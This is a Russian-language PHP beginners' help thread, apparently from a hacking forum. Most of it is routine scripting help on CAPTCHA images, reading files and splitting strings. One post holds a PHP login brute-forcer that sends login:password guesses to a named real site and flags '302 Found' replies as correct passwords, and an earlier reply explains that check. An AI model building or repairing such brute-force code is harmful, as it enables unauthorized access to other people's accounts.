[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Если логин или пасс неверен, то в заголовке не выдаётся Location: map.php
    Можно вообще парсить первую строку ответа сервера:

    Пасс и логин верны: HTTP/1.x 302 Found
    Пасс и логин неверны: HTTP/1.x 200 OK
     
    1 person likes this.
  2. DEMOGORGON

    DEMOGORGON New Member

    Joined:
    2 Apr 2008
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    Нашёл скрипт для защиты от авторегистрации. Картинку с кодом выводит, а как сделать так, чтобы извлечь сам код не знаю. Может кто подскажет?
    PHP:
    <?php

    // старт сессии 
    session_start();

    // заголовок
    header("Content-type: image/png; charset=windows-1251;");
     
    // создание изображения
    $img imagecreate(120,60);

    // генерация цвета фона   
    $ren_r rand(190,255);
    $ren_g rand(190,255);
    $ren_b rand(190,255);   

    // настройка цвета фона   
    $slfon ImageColorAllocate($img$ren_r$ren_g$ren_b);


    //-------------------------------- ШУМЫ ----------<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< 

    // начальное значение циклов
    $i 1;

    // включение шумов
    $ellipse 1;
    $rectang 1;
    $line 1;
    $pix 1;

    /* Шум из элипсов */
    if($ellipse) {

    $varelp rand(5,50); 

     while(++
    $i <= $varelp)
       {
       

    $ren_left rand(0,150);
    $ren_top rand(0,60);
    $ren_x_rad rand(0,150);
    $ren_y_rad rand(0,60);

    // генирация цвета фона   
    $ren_elp_r rand(150,225);
    $ren_elp_g rand(150,225);
    $ren_elp_b rand(150,225);   

    // настройка цвета фона   
    $elp ImageColorAllocate($img$ren_elp_r$ren_elp_g$ren_elp_b);

    imageellipse ($img$ren_left$ren_top$ren_x_rad$ren_y_rad$elp);


    }


    /* Шум из прямоугольников */
    if($rectang) {

    $varrect rand(5,50);  


     while(++
    $i <= $varrect)
       {
       

    $ren_x1_rect rand(0,120);
    $ren_y1_rect rand(0,60);
    $ren_x2_rect rand(0,120);
    $ren_y2_rect rand(0,60);

    // генирация цвета фона   
    $ren_rect_r rand(150,225);
    $ren_rect_g rand(150,225);
    $ren_rect_b rand(150,225);   

    // настройка цвета фона   
    $rect ImageColorAllocate($img$ren_rect_r$ren_rect_g$ren_rect_b);

    imagerectangle ($img$ren_x1_rect$ren_y1_rect$ren_x2_rect$ren_y2_rect$rect);


    }
    }



    /* Шум из линий */
    if($line) {

    $varline rand(0,50); 

     while(++
    $i <= $varline)
       {

    $line_x1 rand(0,120);
    $line_y1 rand(0,60);
    $line_x2 rand(0,120);
    $line_y2 rand(0,60);

    // генирация цвета линий   
    $ren_line_r rand(0,200);
    $ren_line_g rand(0,200);
    $ren_line_b rand(0,200); 
     
    // настройка цвета линий  
    $line_c ImageColorAllocate($img$ren_line_r$ren_line_g$ren_line_b);

    // настройка цвета линий
    imageline ($img$line_x1$line_y1$line_x2$line_y2$line_c);

    }
    }


    /* Шум из пикселей */
    if($pix) {

    $varpix rand(10,150);

     while(++
    $i <= $varpix)
       {
       
    $pix_x rand(0,120);
    $pix_y rand(0,60);

    // генирация цвета линий   
    $ren_pix_r rand(0,255);
    $ren_pix_g rand(0,255);
    $ren_pix_b rand(0,255); 

    // настройка цвета линий  
    $pix_c ImageColorAllocate($img$ren_pix_r$ren_pix_g$ren_pix_b);
       
    ImageSetPixel($img$pix_x$pix_y$pix_c);

    }
    }


    //-------------------------------- ЦИФРЫ ----------<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

    // генерация чисел на изображении
    $ren_c1 rand(0,9);
    $ren_c2 rand(0,9);
    $ren_c3 rand(0,9);
    $ren_c4 rand(0,9);
    $ren_c5 rand(0,9);

    // массив из цифр
    $code_mass = array($ren_c1,$ren_c2,$ren_c3,$ren_c4,$ren_c5);

    // формирование числа
    $code implode(""$code_mass);

    // запись числа в сессию                 
    $_SESSION['imgcode'] = $code;

    // отпуск от левого края, слова
    $ren_xp rand(0,5);

    // расстояние между буквами
    $ras_bukv 21;

    // случайный размер букв
    $ot_fs 25;
    $do_fs 30;

    // случайная положение y слова
    $yb_ot 20;
    $yb_do 60;

    // генерация цвета текста 1   
    $ren_r_с1 rand(0,150);
    $ren_g_с1 rand(0,150);
    $ren_b_с1 rand(0,150);

    // генерация цвета текста 2   
    $ren_r_с2 rand(0,150);
    $ren_g_с2 rand(0,150);
    $ren_b_с2 rand(0,150);

    // генерация цвета текста 3   
    $ren_r_с3 rand(0,150);
    $ren_g_с3 rand(0,150);
    $ren_b_с3 rand(0,150);

    // генерация цвета текста 4  
    $ren_r_с4 rand(0,150);
    $ren_g_с4 rand(0,150);
    $ren_b_с4 rand(0,150);

    // генерация цвета текста 5   
    $ren_r_с5 rand(0,150);
    $ren_g_с5 rand(0,150);
    $ren_b_с5 rand(0,150);

    // настройка цвета текста
    $c1 imagecolorallocate ($img$ren_r_с1$ren_g_с1$ren_b_с1);
    $c2 imagecolorallocate ($img$ren_r_с2$ren_g_с2$ren_b_с2);
    $c3 imagecolorallocate ($img$ren_r_с3$ren_g_с3$ren_b_с3);
    $c4 imagecolorallocate ($img$ren_r_с4$ren_g_с4$ren_b_с4);
    $c5 imagecolorallocate ($img$ren_r_с5$ren_g_с5$ren_b_с5);

    // случайный поворот букв
    $ren_turn1 rand(-35,35);
    $ren_turn2 rand(-35,35);
    $ren_turn3 rand(-35,35);
    $ren_turn4 rand(-35,35);
    $ren_turn5 rand(-35,35);

    // случайная положение y буквы
    $ren_ht1 rand($yb_ot,$yb_do);
    $ren_ht2 rand($yb_ot,$yb_do);
    $ren_ht3 rand($yb_ot,$yb_do);
    $ren_ht4 rand($yb_ot,$yb_do);
    $ren_ht5 rand($yb_ot,$yb_do);

    // случайная положение x буквы
    $ren_x1 rand($ren_xp,$ras_bukv $ren_xp);
    $ren_x2 rand($ras_bukv $ren_xp,$ras_bukv*$ren_xp);
    $ren_x3 rand($ras_bukv*$ren_xp,$ras_bukv*$ren_xp);
    $ren_x4 rand($ras_bukv*$ren_xp,$ras_bukv*$ren_xp);
    $ren_x5 rand($ras_bukv*$ren_xp,$ras_bukv*$ren_xp);

    // случайная размер буквы
    $ren_fase1 rand($ot_fs,$do_fs);
    $ren_fase2 rand($ot_fs,$do_fs);
    $ren_fase3 rand($ot_fs,$do_fs);
    $ren_fase4 rand($ot_fs,$do_fs);
    $ren_fase5 rand($ot_fs,$do_fs);

    // массив со шрифтами
    $fonts = array('ARS','BETINA','BRUSHSCR','BASKR_LI');
    $sf count($fonts);
    $sf $sf 1;  

    // случайный шрифт 1 
    $ren_fc1 rand(0,$sf);
    $ren_font1 $fonts[$ren_fc1] . ".ttf";

    // случайный шрифт 2
    $ren_fc2 rand(0,$sf);
    $ren_font2 $fonts[$ren_fc2] . ".ttf";

    // случайный шрифт 3
    $ren_fc3 rand(0,$sf);
    $ren_font3 $fonts[$ren_fc3] . ".ttf";

    // случайный шрифт 4
    $ren_fc4 rand(0,$sf);
    $ren_font4 $fonts[$ren_fc4] . ".ttf";

    // случайный шрифт 5
    $ren_fc5 rand(0,$sf);
    $ren_font5 $fonts[$ren_fc5] . ".ttf";

    // настройка цифры 1   
    imagettftext ($img$ren_fase1$ren_turn1$ren_x1$ren_ht1$c1$ren_font1$ren_c1);

    // настройка цифры 2    
    imagettftext ($img$ren_fase2$ren_turn2$ren_x2$ren_ht2$c2$ren_font2$ren_c2);

    // настройка цифры 3    
    imagettftext ($img$ren_fase3$ren_turn3$ren_x3$ren_ht3$c3$ren_font3$ren_c3);

    // настройка цифры 4    
    imagettftext ($img$ren_fase4$ren_turn4$ren_x4$ren_ht4$c4$ren_font4$ren_c4);

    // настройка цифры 5   
    imagettftext ($img$ren_fase5$ren_turn5$ren_x5$ren_ht5$c5$ren_font5$ren_c5);



    //--------------------------- ВЫВОД ИЗОБРАЖЕНИЯ -----<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

       
    ImageFill($img00$slfon); 
     
    Imagepng($img);

    // разрушение изображения
    ImageDestroy($img);

    ?>
     
  3. Boccob

    Boccob Elder - Старейшина

    Joined:
    4 May 2007
    Messages:
    37
    Likes Received:
    18
    Reputations:
    1
    Код находится в $code.
    Затем загоняется в $_SESSION['imgcode']
    Оттуда и бери.
     
    1 person likes this.
  4. !{ra!{e/\/

    !{ra!{e/\/ Banned

    Joined:
    27 Aug 2007
    Messages:
    98
    Likes Received:
    50
    Reputations:
    3
    "симулирую" многопоточный брут
    PHP:
    <?php

    $max_threads 
    5;//Максимальное количество потоков
    set_time_limit(320); // Лимит времени на выполнение. 

    $get_array[0] = "freetest";//Создаем массив в котором будут находится наши данные для каждого запроса. В данном случае в нем просто числа.
    $get_array[1] = "krakem";//Создаем массив в котором будут находится наши данные для каждого запроса. В данном случае в нем просто числа.
    $get_array[2] = "ucoz";//Создаем массив в котором будут находится наши данные для каждого запроса. В данном случае в нем просто числа.
    $get_array[3] = "rucoz";
    $get_array_name[0]="ANTICHAT";
    $get_array_name[1]="passwqw";
    $get_array_name[2]="453wccw91";
    $get_array_name[3]="ne2tpass123";

    echo(
    "Всего запросов: " count($get_array) . "<BR> Поехали! <BR>");

    $sockets = array(); //В этом массиве находятся открытые сокеты
    $done false;// Флаг $done используется для остановки скрипта после выполнения работы
    $curr 0// $curr - будет текущим элементом из всего массива запросов
    while (!$done)
        {
        while ((
    $max_threads count($sockets)) && ($curr count($get_array))) // Если количество активных сокетов меньше константы и $curr не превысил допустимые нормы, то запускаем скрипт, который создает недостающее количество сокетов
            
    {
               
    $packet.="POST /enter.php HTTP/1.0\r\n";
            
    $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/pdf, application/x-shockwave-flash, */*\r\n";
            
    $packet.="Accept-Language: ru\r\n";
            
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
            
    $packet.="Host: web.tak.ru\r\n";
            
    $packet.="Content-Length: 52\r\n";
            
    $packet.="Pragma: no-cache\r\n";
            
    $packet.="Connection: Keep-Alive\r\n\r\n";
            
    $packet.="login=$get_array[$curr]&password=$get_array_name[$curr]&Submit=++OK++&z=enter_form";
        
            
    $errno 0;
            
    $error "";
            
    $sockets[$curr] = fsockopen("web.tak.ru",80);// открываем новый сокет
            
    stream_set_blocking($sockets[$curr], 0);
            
    stream_set_timeout($sockets[$curr], 3600);
            
    fputs($sockets[$curr], $packet);// Посылаем в этот сокет наш запрос
            
    echo("Создан сокет: " $curr "<br>");
            
    $curr $curr 1;// Переходим к следующему элементу массива
            
    }
    sleep(1);// Чтобы не сильно загружать сервер будем проверять данные по всем сокетам через 1 секунду
    foreach($sockets as $key => $val
        {

        
    $temp[$key] = fgets($sockets[$key]); // Получаем данные из текущего сокета [ данных может и не быть ]
        ///echo("Прочитали данные из сокета: " . $key . "<br><textarea>");// Для удобства я поместил их в теги <textarea>
        ///echo($temp . "</textarea><p>");

        
    if (feof($sockets[$key]))// Если данные закончилисть
            
    {
            unset(
    $sockets[$key]); //то удаляем отработавший сокет из массива
            
    echo("Удален сокет: " $key "<br>");
            }
       }
    echo(
    "Сейчас обрабатывается: " count($sockets) . " сокетов<BR>");

    // если нет активных сокетов, то можно выходить
    if (count($sockets) == 0$done true;
        }
     for (
    $i=0;$i<5;$i++) 
      {
       if ((
    strpos($temp[$i],"302 Found"))>0) echo $get_array[$i]  $get_array_name[$i]-- Пароль правильный";
       else echo 
    $get_array[$i]  $get_array_name[$i]--Не правильный пароль ";
      }

    echo(
    "Конец");

    ?>
    :confused: нипойму почему не работает...и скорость почему такая
     
    #3044 !{ra!{e/\/, 10 May 2008
    Last edited: 10 May 2008
  5. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    С каких пор php стал поддерживать многопоточность?
     
  6. !{ra!{e/\/

    !{ra!{e/\/ Banned

    Joined:
    27 Aug 2007
    Messages:
    98
    Likes Received:
    50
    Reputations:
    3
    поправил "симулирую" многопоточный брут ...
    А собствнно ошибку какую я допустил?
     
  7. Karapuziko

    Karapuziko Elder - Старейшина

    Joined:
    20 Jan 2008
    Messages:
    32
    Likes Received:
    14
    Reputations:
    3
    Снифер тебе в помощь?!!
     
    #3047 Karapuziko, 10 May 2008
    Last edited: 10 May 2008
    2 people like this.
  8. !{ra!{e/\/

    !{ra!{e/\/ Banned

    Joined:
    27 Aug 2007
    Messages:
    98
    Likes Received:
    50
    Reputations:
    3
    скрипт
    PHP:
    <?php
    $f_file
    =file("logins.txt");
    $f_true[0]="fdrucoz";
    echo 
    $f_file[0]." Проверка ".$f_true[0]."<br>";
    if (
    $f_true[0]==$f_file[0]) echo "Они равны";
    else echo 
    "Не равны";
    ?>
    файл
    logins.txt
    Code:
     
    fdrucoz
    fdrucoz1243
    fdrucoz3223
    
    запускаю пишет
    Code:
     
    fdrucoz Проверка fdrucoz
    Не равны
    
    Это как так может быть?
     
  9. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    PHP:
    <?php 
    $f_file
    =file("logins.txt"); 
    $f_true[0]="fdrucoz"

    for(
    $i=0,$cnt=count($f_file);$i<$cnt;$i++)
    {
      
    $f_file[$i]=trim($f_file[$i]);
    }


    echo 
    $f_file[0]." Проверка ".$f_true[0]."<br>"
    if (
    $f_true[0]==$f_file[0]) echo "Они равны"
    else echo 
    "Не равны"
    ?> 
    Функция file() оставляет символы перевода каретки/новой строки в конце каждой переменной.
     
    1 person likes this.
  10. bomber

    bomber New Member

    Joined:
    17 Mar 2008
    Messages:
    25
    Likes Received:
    1
    Reputations:
    0
    помогите со скриптом, который удалял бы в текстовом файле лишнее после второго - |

    тоисть так допустим есть:

    слово1|слово2|слово3
    слово1|слово2|слово3|слово4

    а нужно чтобы остались только два слова:

    слово1|слово2

    а все лишнее отсекалось
     
  11. desTiny

    desTiny Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    1,006
    Likes Received:
    444
    Reputations:
    94
    $str = substr($str, 0, strpos($str, "|", strpos($str, "|")+1));
     
  12. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    bomber,
    PHP:
    $fp fopen('file''r');
    $w fopen('file_result''w');
    while(!
    feof($fp)){
    list(
    $a$b) = explode('|'$str);
    fwrite($w"$a|$b\n");
    }
    fclose($fp);
    fclose($w);
     
  13. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    Nightmarе,
    PHP:
    preg_match('/(\w+\:\w+\:\w+\:\w+\:\w+\:\w+)/'exec("ifconfig | grep 'HWaddr'"), $out);
    echo 
    $out[1];
     
    1 person likes this.
  14. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
  15. Sleep

    Sleep Elder - Старейшина

    Joined:
    31 Oct 2007
    Messages:
    274
    Likes Received:
    65
    Reputations:
    4
    2GreenBear
    fread|fgets забыл :)
    PHP:
    <?php
    $fp 
    fopen('file.txt''r'); 
    $w fopen('file_result.txt''a+'); 
    while(!
    feof($fp))

    $str fgets ($fp1024);
    list(
    $a$b) = explode('|'$str); 
    fwrite($w$a."|".$b."\n"); 

    fclose($fp); 
    fclose($w); 
    ?>
     
  16. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    function_exists('exec') ? print 'ok' : print 'fail';
    что выведет?
    в ней ведь и так пишется мак . не проще его сразу регуляркой вырезать?
     
  17. bomber

    bomber New Member

    Joined:
    17 Mar 2008
    Messages:
    25
    Likes Received:
    1
    Reputations:
    0
    чет неидет

    получается бесконечный процеес, где идет постоянная запись символа - | по одному на каждую строчку без $a и $b

    после

    из 300kb вышло - 6mb
     
  18. bomber

    bomber New Member

    Joined:
    17 Mar 2008
    Messages:
    25
    Likes Received:
    1
    Reputations:
    0
    во, этот заработал!

    теперь бы найти способ удалить пустые строки :(
     
  19. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    PHP:
    <?php
    $fp 
    fopen('file.txt''r'); 
    $w fopen('file_result.txt''a+'); 
    while(!
    feof($fp))

    $str fgets ($fp1024);
    if (
    trim($str) != '') {
    list(
    $a$b) = explode('|'$str); 
    fwrite($w$a."|".$b."\n");
    }

    fclose($fp); 
    fclose($w); 
    ?>
     
    1 person likes this.
  20. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    if(trim($a.$b) != '') fwrite($w, $a."|".$b."\n");
     
Thread Status:
Not open for further replies.